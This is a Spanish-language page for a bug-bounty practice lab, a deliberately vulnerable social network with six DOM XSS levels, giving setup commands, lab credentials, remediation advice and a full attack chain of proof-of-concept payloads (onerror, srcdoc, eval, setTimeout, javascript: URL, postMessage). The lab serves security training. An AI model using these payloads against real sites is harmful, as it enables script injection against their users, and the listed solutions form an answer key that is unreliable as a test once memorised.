6 Progressive DOM XSS Challenges
Red social con 6 desafios progresivos de DOM XSS: desde location.hash + innerHTML hasta postMessage + innerHTML, pasando por eval, setTimeout y location.href.
Aprende a encontrar este bug
Un reporte real de bug bounty, reproducido para que lo practiques.
Crea tu cuenta y practica bugs reales que se pagaron. Descarga el entorno, encuéntralo y aprende la técnica exacta — tu camino a tu primer bounty.
hunters entrenando
labs de reportes reales
completaciones
en bounties practicados
Acceso a todos los labs · sin permanencia · cancela cuando quieras
Hunters que lo han resuelto· 8
Objetivos
Logro que recibirás
Cuando resuelvas este lab desbloqueas este logro compartible
6 Progressive DOM XSS Challenges
Writeups de la comunidad
Credenciales
| Usuario | Contrasena | Rol |
|---|---|---|
| alice | password123 | user |
Despliegue
# Opcion 1: autodeploy
./autodeploy.sh
# Opcion 2: manual
docker compose up --build
# Acceder
http://localhost:1000
Compatible con macOS, Linux y Windows (Docker Desktop / WSL).
Para parar:
./autodeploy.sh destroy
# o: docker compose down -v
Contenido del Lab
La aplicacion
Chirp con 6 niveles de DOM XSS progresivos.
La vulnerabilidad
Cada nivel usa un source y sink diferente para inyectar XSS en el DOM del cliente sin pasar por el servidor.
Cadena de ataque
Nivel 1: #<img src=x onerror=alert(1)>
Nivel 2: ?data=<script>alert(1)</script> (srcdoc)
Nivel 3: ?expr=alert(1) (eval)\nNivel 4: ?delay=alert(1) (setTimeout)
Nivel 5: ?url=javascript:alert(1) (location)
Nivel 6: postMessage({html:'<img src=x onerror=alert(1)>'})
Solucion interactiva
Accede a /writeup dentro de la aplicacion para una guia paso a paso con botones interactivos.
Flag
(alert ejecutado en cada nivel)
Remediacion
- Nunca usar innerHTML con datos no confiables
- Evitar eval/setTimeout con strings
- Validar origenes en postMessage handlers
- Usar frameworks que escapan por defecto (React JSX)